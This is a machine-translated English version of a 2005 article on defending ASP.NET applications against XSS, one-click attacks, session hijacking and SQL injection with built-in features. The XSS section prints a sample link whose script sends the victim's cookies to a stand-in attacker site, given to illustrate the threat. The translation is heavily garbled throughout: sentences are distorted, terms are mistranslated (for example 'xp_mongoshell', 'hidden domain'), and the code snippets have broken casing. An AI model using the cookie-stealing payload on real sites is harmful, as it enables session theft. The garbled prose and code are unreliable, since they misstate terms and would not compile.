Use ASP. NET's built-in functions to defend against Web Attacks
Release date: 4/28/2005 | Updated on: 4/28/2005
Dino esposito
Wintellect
Applicable
Microsoft ASP. NET 1.X
Microsoft ASP. Network 2.0
Abstract:Dino summarizes the most common web attack types and introduces how Web developers can use ASP. NET's built-in functions to improve security.
Content on this page
ASP. NET developers should always adhere to the practice
Threat Source
Viewstateuserkey
Cookie and authentication
Session hijacking
Enableviewstatemac
Validaterequest
Database perspective
Hide domain
Email and Spam
Summary
Related Resources
ASP. NET developers should always adhere to the practice
If you are reading this article, you may not need to inject Web applications into you.ProgramSecurity is becoming more and more important. You may need some practical suggestions on how to implement security in ASP. NET applications. The bad news is that there is no development platform-including ASP. Net-to ensure that once this platform is adopted, you can write secureCode. If anyone says so, they will be lying. The good news is that, for ASP. NET, ASP. NET, especially version 1.1 and the forthcoming version 2.0, integrate some easy-to-use built-in defense barriers.
Simply applying all of these features is not enough to protect Web applications from any possible and foreseeable attacks. However, if combined with other defense techniques and security policies, the built-in ASP. NET feature can constitute a powerful toolkit that helps ensure that applications run in a secure environment.
Web security is the sum of various factors and the result of a policy that is far beyond a single application. This policy involves database management, network configuration, social engineering, and phishing.
The purpose of this article is to demonstrate what ASP. NET developers should always adhere to in order to maintain a reasonable level of security standards. This is the most important aspect of security: remain vigilant and never relax, making it increasingly difficult for bad people to launch hacker attacks.
Next, let's take a look at what ASP. NET provides to simplify this job.
Back to Top threat Source
In table 1, I have summarized the most common web attack types and defects that may result in these attacks in applications.
Attack |
Possible initiator of the attack |
Cross-site scripting (XSS) |
Untrusted user input displayed on the page |
SQL Injection |
Concatenate user input to form SQL commands |
Session hijacking |
Session ID prediction and stolen session ID cookie |
One click |
Imperceptible HTTP posts sent through scripts |
Hide domain tampering |
Hidden domains that are not checked (and trusted) are filled with sensitive data |
Table 1. Common Web Attacks
What are the key facts displayed in the list? In my opinion, there are at least three points:
No matter when you insert user input into the browser tag, you may expose yourself to code injection attacks (any SQL injection or XSS variants.
Database Access must be implemented in a safe way, that is, the database should be given as few permissions as possible and roles should be used to divide the responsibilities of each user.
Never send sensitive data over the network (not to mention plain text), and store sensitive data on the server in a safe way.
Interestingly, the above three points respectively target three different aspects of Web security, and these three aspects are combined, it is the only reasonable way to generate anti-attack and anti-tampering applications. Various aspects of Web security can be summarized as follows:
Encoding practices: data verification, type, and buffer length check, anti-tampering measures
Data Access Policy: use decisions to protect accounts that may be the weakest. Use stored procedures or at least parameterized commands.
Effective storage and management: Do not send key data to the client, use hash code to detect operations, authenticate users, protect identities, and apply strict password policies
As you can see, only developers, architects, and administrators can work together to generate secure applications. Do not assume that you can achieve the same purpose in other ways.
When compiling ASP. NET applications, you are not alone facing the hacking army: the only weapon is the line of code typed through your own brain, skills, and fingers. ASP. NET 1.1 and later versions provide a helping hand. They have some specific functions that can automatically increase the defense against certain threats listed above. Next we will view them in detail.
Back to Top: viewstateuserkey
Introduced from ASP. NET 1.1,ViewstateuserkeyYesPageClass, only a few developers are really familiar with this property. Why? Let's take a look at what the document says.
Assign an identifier to a single user in view status variables associated with the current page
Aside from being cumbersome, the meaning of this sentence is quite clear. But can you tell me honestly that it illustrates the original purpose of this attribute? UnderstandingViewstateuserkeyYou need to continue readingRemarks.
This attribute helps prevent one click attack because it provides additional input to create a hash value that prevents view status tampering. In other words,ViewstateuserkeyThis makes it much more difficult for hackers to use the content of the client view status to prepare for malicious website posting. You can assign any non-null string to this attribute, but it is best to use the session ID or user ID. In order to better understand the importance of this attribute, we will give a brief introduction.One clickBasic attack knowledge.
One-click attack includes posting malicious HTTP forms to known and vulnerable web sites. It is called "one-click" because it usually starts with the tempting link that the victim accidentally clicks to send via email or browses in a crowded forum. By clicking this link, the user accidentally triggers a remote process and finally submits malicious <form> to a site. Everyone should be honest: you can tell me that you have never clickedClick here to win $1,000,000Is this a link? Obviously, nothing bad happens to you. Let's assume this is true. You can say that the WebCommunityAre all others spared? Who knows.
To succeed, a single click attack requires specific background conditions:
Attackers must fully understand the websites with vulnerabilities. This is possible because an attacker can "diligently" study the file, or he/she is an angry internal employee (for example, an employee who is fired but not honest ). Therefore, the consequences of such attacks may be extremely serious.
The site must use a cookie (if it is a persistent cookie, the effect is better) to achieve a single login, And the attacker has received a valid authentication cookie.
Some users of the site perform sensitive transactions.
Attackers must be able to access the target page.
As mentioned earlier, attacks include submitting malicious HTTP forms to pages waiting for forms. It can be inferred that this page will use the posted data to perform some sensitive operations. It is conceivable that attackers can clearly understand how to use various domains and come up with false values for their purposes. This is usually a specific target attack, and due to its triangular relationship, it is difficult to trace the source-that is, hackers trick victims into clicking a link on the hacker site, this will cause malicious code to be posted to the third site. (See figure 1 .)
Figure 1. One-Click Attack
Why is it a victim of no doubt? This is because, in this case, the IP address displayed in the server log that sends a malicious request is the IP address of the victim. As mentioned above, this tool is not as common (and easy to initiate) as the "classic" XSS; however, its nature determines that its consequences may be disastrous. How to deal with it? Next, let's take a look at the working mechanism of this attack in the ASP. NET environment.
Unless the operation code isPage_loadEvent. Otherwise, the ASP. NET page cannot execute sensitive code beyond the event. View status fields are required for sending back events. Keep in mind that ASP. Net checks the request sending status and sets the value based on whether the _ viewstate field exists.Ispostback. Therefore, no matter who sends a false request to the ASP. NET page, a valid view State domain must be provided.
A hacker must be able to access this page if one-click attack is desired. In this case, a visionary hacker will save the page locally. In this way, he/she can access the _ viewstate domain and use the domain to create requests with the old view status and malicious values in other domains. The problem is, can this work?
Why not? If an attacker can provide valid authentication cookies, the hacker can access and the request will be processed as usual. The server does not check the view status content (whenEnableviewstatamacIs Off), or only checks whether it has been tampered. By default, there is no mechanism in the attempt state to associate the content with a specific user. Attackers can easily reuse the obtained view status and impersonate another user to access the page legally to generate false requests. This is exactlyViewstateuserkeyThe location of the intervention.
If you select the correct option, you can add user-specific information to the view status. When processing a request, ASP. NET extracts the key from the view State andViewstateuserkey. If the two match, the request is considered legal; otherwise, an exception is thrown. What values are valid for this attribute?
For all usersViewstateuserkeySet it to a constant string, which is equivalent to leaving it blank. You must set it to the user ID, which is better for each user. Due to some technical and social reasons, session IDs are more suitable, because session IDs are unpredictable, timeout will fail, and are different for each user.
The following are some code that is essential to all your pages:
Void page_init (Object sender, eventargs e) {viewstateuserkey = session. sessionid ;:}
To avoid repeated Writing of these codes, you can fix them inPageTheOninitIn the virtual method. (Note that you mustPage. initSet this attribute in the event .)
Protected override oninit (eventargs e) {base. oninit (E); viewstateuserkey = session. sessionid ;}
In general, using the base page class is always a good thing. I have explained it in build your ASP. NET pages on a richer bedrock. If you want to learn more about the one-click attacker trick, you can find an excellent article on aspnetpro.com.Article.
Back to header cookie and authentication
Cookies exist because they can help developers achieve a certain purpose. Cookie acts as a persistent link between the browser and the server. Especially for applications that use a single login, the stolen cookie is the possible culprit of the attack. This is true for a click attack.
To use cookies, you do not need to explicitly create and read them programmatically. If you use session Status and form authentication, you use cookies implicitly. Of course, ASP. NET supports cookie-free session states, and ASP. NET 2.0 also introduces form authentication without cookies. Therefore, theoretically, you can use these functions without a cookie. I am not saying that you no longer have to do this, but in fact this is one of the worse cases of therapy than disease. A cookie-free session actually embeds the session ID in the URL so that everyone can see it.
What are the potential problems related to the use of cookies? Cookie may be stolen (that is, copied to the hacker's computer) and poisoned (that is, it is filled with malicious data ). These operations are usually a prelude to an attack. If the cookie is stolen, it will "authorize" external users to connect to the application in Your name (and use protected pages), which may make it easy for hackers to bypass authorization, the role and security settings allow the victim to perform any operations. Therefore, the authentication cookie is usually given a relatively short lifetime, that is, 30 minutes. (Please note that the cookie will still expire even if it takes longer to complete the browser session .) In case of theft, hackers have 30 minutes to try the attack.
You can extend the time limit to avoid users having to log on too frequently. However, please note that this will put yourself in danger. ASP. NET persistent cookies should be avoided in all circumstances. It will cause the cookie to have almost permanent lifetime, up to 50 years! The following code snippet demonstrates how to easily modify the cookie expiration date.
Void onlogin (Object sender, eventargs e) {// check credentialsif (validateuser (user, pswd) {// set the Cookie's expiration datehttpcookie cookie; cookie = formsauthentication. getauthcookie (user, ispersistent); If (ispersistent) Cookie. expires = datetime. now. adddays (10); // Add the cookie to the responseresponse. cookies. add (cookie); // redirectstring TargetUrl; TargetUrl = formsauthentication. getredirecturl (user, ispersistent); response. redirect (TargetUrl );}}
You can use this code in your login form to fine-tune the lifetime of the authentication cookie.
Back to Top session hijacking
Cookies are also used to retrieve the session Status of a specific user. The session ID is stored in the cookie, which is sent back and forth with the request and stored on the computer of the browser. Similarly, if the session cookie is stolen, it can be used to enable the hacker to access the system and access the session Status of others. Needless to say, as long as the specified session is active (usually no more than 20 minutes), this may happen. An attack initiated by impersonating the session status is calledSession hijacking. For more information about session hijacking, see theft on the Web: Prevent session hijacking.
How dangerous is this attack? It is hard to explain. This depends on the functions of the website. More importantly, how the pages of the website are designed. For example, assume that you can obtain the session cookie of another user and attach it to a request to a page on the site. You load the page and gradually study its normal user interface. Except that this page uses the session Status of another user, you cannot inject any code into this page or modify any content on this page. This is not too bad, but if the information in the session is sensitive and critical, it may directly lead to successful exploitation by hackers. A hacker cannot penetrate into the content stored in a session, but he can use the information stored in the session, just as he entered it legally. For example, assume that there is an e-commerce application, and its users add items to the shopping cart when browsing the site.
Solution 1.The content of the shopping cart is stored in the session state. However, during checkout, you are required to confirm and enter payment details through secure SSL connections. In this case, hackers can only learn about the shopping preferences of victims by accessing the session Status of other users. Hijacking in this environment does not actually cause any damage. Only confidentiality is affected.
Solution 2.The application processes an archive for each registered user and saves the archive in the session state. Worse, the archive may include credit card information. Why store the user file details in a session? One of the goals of an application may be to avoid repeatedly typing your credit card and bank information. Therefore, during settlement, the application locates the user to a page with a pre-filled domain. One of these domains is the credit card number obtained from the session status. Can you guess the end of the story now?
The application page design is the key to preventing session hijacking attacks. Of course, there are still two points that have not been clarified. First, how to prevent Cookie Theft? Second, how can ASP. NET detect and prevent hijacking?
ASP. NET session cookies are extremely simple and only contain session ID strings. The ASP. NET Runtime Library extracts session IDs from cookies and compares them with active sessions. If the ID is valid, ASP. NET connects to the corresponding session and continues. This behavior greatly facilitates hackers who have stolen or can guess valid session IDs.
XSS and man-in-the-middle attacks and strong access to the client PC are all ways to obtain valid cookies. To prevent theft, you should implement security best practices to prevent XSS and its variants from winning.
To prevent session ID guessing, you should avoid estimating your skills too much. Guessing session ID means that you know how to predict a valid session ID string. For ASP. NETAlgorithm(15 random numbers mapped to characters with URL enabled). The probability of random guesses that the valid ID is close to zero. I can't think of any reason to replace the default session ID generator with my session ID generator. In many cases, this will only facilitate attackers.
The worst consequence of session hijacking is that once a cookie is stolen or guessed, ASP. NET has no way to detect fraudulent cookie usage. Similarly, ASP. NET restricts itself to check the validity of the ID and the source of the cookie.
Jeff prosise, a friend of mine at wintellect, wrote a good article about session hijacking for msdn magazine. His conclusion is not comforting: it is almost impossible to establish a fortifier that can fully defend against attacks initiated by the stolen session ID cookie. However, the Code he developed provides wise suggestions for further improving security standards. Jeff created an HTTP module that monitors incoming requests and outgoing responses for session ID cookies. This module attaches a hash code to the session ID, making it more difficult for attackers to reuse cookies. You can read the details here.
Back to Top: enableviewstatemac
View status is used to maintain the control status between two consecutive requests on the same page. By default, the view status is base64-encoded and a hash value signature is used to prevent tampering. View status cannot be tampered with unless you change the default page settings. If attackers modify the view status and even use the correct algorithm to regenerate the view status, ASP. NET will capture these attempts and cause exceptions. View status tampering is not necessarily harmful. Although it modifies the status of the server control, it may become a tool that causes serious infections. Therefore,NoRemoving the computer authentication code (MAC) crossover check by default is important. See figure 2.
Figure 2. factors that make the view State difficult to tamper with when enableviewstatemac is enabled
When Mac check is enabled (default), a hash value is appended to the serialized view status. This value uses some server-side values and view State user keys (if any) generated. When the view status is returned, the new server value is used to recalculate the hash value and compare it with the stored value. If the two match, the request is allowed; otherwise, an exception is thrown. Even if the hacker has the ability to crack and regenerate the view state, he/she still needs to know the value stored on the server to obtain a valid hash. Specifically, the hacker needs to know the <Machinekey> The computer key referenced in the key.
By default, items are automatically generated and physically stored in WindowsLocal Security Authority(LSA. Only when the web field (in this case, the computer key in view State must be the same on all computers), you should specify it as a plaintext in the machine. config file.
View status Mac check is throughEnableviewstatemacOf@ PageCommand attribute control. As mentioned above, it is set to true by default. Never disable it. Otherwise, the view State may be tampered with by one click attack, and the probability of success is high.
Back to Top: validaterequest
Cross-site scripting (XSS) is an old friend of many experienced web developers. It appeared around 1999. To put it simply, XSS uses vulnerabilities in the Code to introduce the executable code of hackers into the browser session of another user. If the injected code is executed, the injected code can perform a variety of operations-obtain the cookie and upload a copy to the Web site controlled by the hacker, monitor the user's web session and forward data, modify the behavior and appearance of a hacked page to provide incorrect information and even make itself persistent. This way, the fraudulent code will run again when the user returns the page next time. Read the basics of XSS attacks in the technet Article cross-site scripting overview.
Which vulnerabilities in the Code cause XSS attacks to become possible?
XSS uses Web applications that dynamically generate HTML pages, but do not verify the input of the displayed pages. HereInputQueries the content of strings, cookies, and form fields. If the content appears on the network without proper performance check, hackers may operate on it to execute malicious scripts in the client browser. (The one-click attack mentioned above is a new form of XSS .) A typical XSS attack causes unsuspecting users to click a tempting link, which contains the escape script code. The fraud code will be sent to a page with a vulnerability that will output it without any doubt. The following is an example of a possible situation:
<A href = "http://www.vulnerableserver.com/brokenpage.aspx? Name = <SCRIPT> document. Location. Replace ('HTTP: // www.hackersite.com/hackerpage.aspx? Cookie = '+ document. Cookie); </SCRIPT> "> click to claim your prize </a>
When you click a seemingly safe link, some script code is passed to the vulnerable page. The code first obtains all cookies on your computer, then they are sent to the hacker's Web site.
Please note that XSS is not a vendor-specific issue, so it is not always possible to exploit the vulnerability in Internet Explorer. It affects all web servers and browsers on the market. It should be noted that no patch can fix this problem. You can protect your pages from XSS attacks by applying specific measures and reasonable coding practices. In addition, the attacker does not need to click a link to initiate an attack.
To defend against XSS, you must fundamentally determine which inputs are valid and then reject all other inputs. You can read a detailed checklist against XSS attacks in a book that belongs to the mandatory scope of Microsoft-writing secure code written by Michael Howard and David LeBlanc. In particular, I suggest you carefully read chapter 13th.
The main way to prevent sinister XSS attacks is to add a well-designed and effective validation layer to your input (any type of input data. For example, in some cases, even the original harmless color (RGB) will bring uncontrolled scripts directly into the page.
In ASP. NET 1.1,@ PageCommandValidaterequestAfter the attribute is opened, check to make sure that the user has not sent any potentially risky HTML tag in the query string, Cookie, or form field. If this situation is detected, an exception is thrown and the request is aborted. This attribute is enabled by default. You do not need to perform any operation to protect it. If you want to allow HTML markup to pass, you must manually disable this attribute.
<% @ Page validaterequest = "false" %>
Validaterequest NoThe omnipotent prescription cannot replace the effective verification layer. Read this section to obtain a large amount of valuable information about the basic principles of this function. It basically captures some potentially harmful sequences by applying a regular expression.
Note validaterequestFeatures are inherently defective, so you need to apply a patch to work as expected. Such important information is often not noticed. Strangely, I found that one of my computers is still affected by this vulnerability. Try it!
No closeValidaterequest. You can disable it, but there must be a good reason; one of the reasons may be that you need to be able to post some HTML to the site for better format setting options. In this case, you should restrict allowed HTML tags (<PRE>,<B>,<I>,<P>,<Br>,<HR>), And write a regular expression to ensure that no other content is allowed or accepted.
The following are some other tips to help prevent ASP. NET from XSS attacks:
UseHttputility. htmlencodeConverts dangerous symbols into their HTML representation.
Double quotation marks instead of single quotation marks are used, because HTML encoding only escapes double quotation marks.
Force a code page to limit the number of characters that can be used.
In short, use but do not fully trustValidaterequestAttribute. Do not be too lazy. Take some time to fundamentally understand security threats such as XSS and plan a key-point-centric defense strategy: all user input is dangerous.
Back to Top Database
SQL injection is another widely known attack type. It uses unfiltered user input to form database commands. If the application happily creates an SQL command string by typing content in the form field, you are exposed to this risk: Malicious users only need to access this page and enter fraud parameters, you can modify the nature of the query. You can learn more about SQL Injection here.
There are many ways to prevent SQL injection attacks. The following describes the most common techniques.
Make sure that the user input is of the appropriate type and follows the expected mode (ZIP code, ID card number, email, etc ). If you expect a number from the text box, block this request when the user inputs content that cannot be converted to a number.
It is better to use stored procedures for parameterized queries.
Use SQL Server permissions to restrict operations that individual users can perform on the database. For example, you may need to disable xp_mongoshell or restrict the operation permission to the Administrator only.
Using Stored Procedures can significantly reduce the possibility of such attacks. In fact, with stored procedures, you do not need to write SQL strings dynamically. In addition, SQL Server verifies that all parameters have the specified type. Although these are not security tips alone, adding verification will be enough to improve security.
More importantly, ensure that only authorized users can perform operations that may have serious consequences, such as deleting tables. This requires careful design of the application's intermediate layer. Good skills (not just for security) should focus on roles. Users should be grouped into various roles and each role should be defined with a set of accounts with the minimum permissions.
A few weeks ago, the wintellect web site was attacked by a complicated SQL injection attack. The hacker tried to create and start an FTP script to download a possibly malicious executable program. Fortunately, this attack failed. Or is it because of strong user authentication, the use of stored procedures and the use of SQL Server permissions, resulting in an attack failure?
All in all, you should follow these guidelines to avoid injection of harmful SQL code:
Run with as few permissions as possible and never execute code as "sa.
Restrict access to built-in stored procedures.
SQL parameterized query is preferred.
Statements are generated without concatenating strings, and database errors are not displayed.
Back to Top hidden fields
In traditional ASP, hiding a domain is the only way to keep data between requests. Any data you need to retrieve in the next request is packaged into a hidden<Input>And perform the return operation. What if someone modifies the value stored in this domain on the client? As long as the text is in plain text, the server environment cannot detect this situation. In ASP. NETViewstateAttributes have two purposes. On the one hand,ViewstateCross-request persistence. On the other hand,ViewstateThis allows you to store custom values in protected and tamper-resistant hidden domains.
As shown in 2, the view status is appended with a hash value. For each request, this value is checked to check whether any tampering has occurred. Except in a few cases, there is no reason to use hidden domains in ASP. NET. View status can implement the same functions in a much safer way. As mentioned above, storing sensitive values (such as price or credit card details) in plaintext hidden domains is equivalent to opening the door to hackers; view status can even make this bad practice safer than before, because view status has a data protection mechanism. However, keep in mind that view status can prevent tampering, but cannot guarantee confidentiality, unless encrypted-credit card details stored in view status are at risk in any case.
In ASP. NET, under which conditions is it acceptable to use hidden domains? When you generate a custom control that needs to send data back to the server. For example, assume that you want to create a new repeat column SequenceDataGridControl. You need to send the new sequence back to the server in the sending back. Where can I store this information without storing it in a hidden domain?
If the hidden domain is a read/write domain, it is expected that the client will write it, and there is no way to completely stop hacker attacks. You can try to hash or encrypt the text, but this does not make you reasonably confident that you will not be attacked by hackers. In this case, the best defense is to make the hidden domain contain inert and harmless information.
In addition, you should note that ASP. NET exposes a little-known class that can be used to encode and hash any serialized object. This class isLosformatter,ViewstateThe encoding text used to create a return request to the client is exactly the same class.
Private string encodetext (string text) {stringwriter writer = new stringwriter (); losformatter formatter = new losformatter (); formatter. serialize (writer, text); Return writer. tostring ();}
The previous code snippet demonstrates how to useLosformatterTo create content similar to the view State, encode and hash it.
Back to Top emails and Spam
At the end of this article, let me point out that there are at least two common attacks (Classic XSS and one-click) it is usually initiated by enticing unsuspecting victims to click on tempting and fraudulent links. Many times we can find such links in our inbox, although there are anti-spam filters. You can buy a large number of email addresses for a few dollars. One of the main techniques used to generate such a list is to scan public pages on the web site to find and retrieve all the content that looks like an email.
If an email address is displayed on the page, the address may be automatically captured by the web application either early or later. Really? Of course, it depends on how the email is displayed. If it is hard-coded, you have fixed it. If other representations are used (for exampleDino-at-Microsoft-dot-com). It is not clear whether the web application can be cheated, but it is certain that all people who want to read your pages and create legal contacts will be confused.
In general, you should determine a way to dynamically generate an emailMailtoLink. A free component written by Marco bellinaso can accomplish this. You can obtain all the components from the dotnet2themax web site.Source code.
Back to Top Summary
Is it possible that the Web is the most hostile in all runtime environments? The root cause is that everyone can access the web site and try to transmit good or bad data to it. However, what is the significance of creating a web application that does not accept user input?
Let's face the truth: No matter how powerful your firewall is, no matter how frequently you apply available patches, as long as the Web applications you run have inherent defects, sooner or later, attackers can access the core part of your system through the main channel, namely port 80.
Compared with other Web applications, ASP. NET applications are neither more vulnerable to attacks nor more secure. Security and vulnerabilities are also rooted in coding practices, practical experience, and teamwork. If the network is not secure, no application is secure. Similarly, no matter how secure the network is, how well the management is. If the application has defects, attackers can always win.
The advantage of ASP. NET is that it provides some good tools and can raise the security standard to an acceptable level with only a small amount of work. Of courseNoHigh enough. They should not be purely ASP. NET built-in solutions, nor should they be ignored. Learn as much as possible about common attacks.
This article provides a list of built-in functions with annotations, as well as some background knowledge about attack and defense. The technique used to detect outgoing attacks is another matter. A special article may be required to introduce it.
Back to Top
Writing secure code, written by Michael Howard and David Leblanc
Technet magazine, theft on the Web: Prevent session hijacking
About the author
Dino Esposito is a wintellect lecturer and consultant who lives and works in Italy. His books include programming Microsoft ASP. net, and the latest introducing Microsoft ASP. NET 2.0 (both from Microsoft Press), which is mostly used to teach about ASP. net and ADO. net courses, as well as lectures in various meetings. Tour Dino's blog is at http://weblogs.asp.net/despos.
Go to the original English page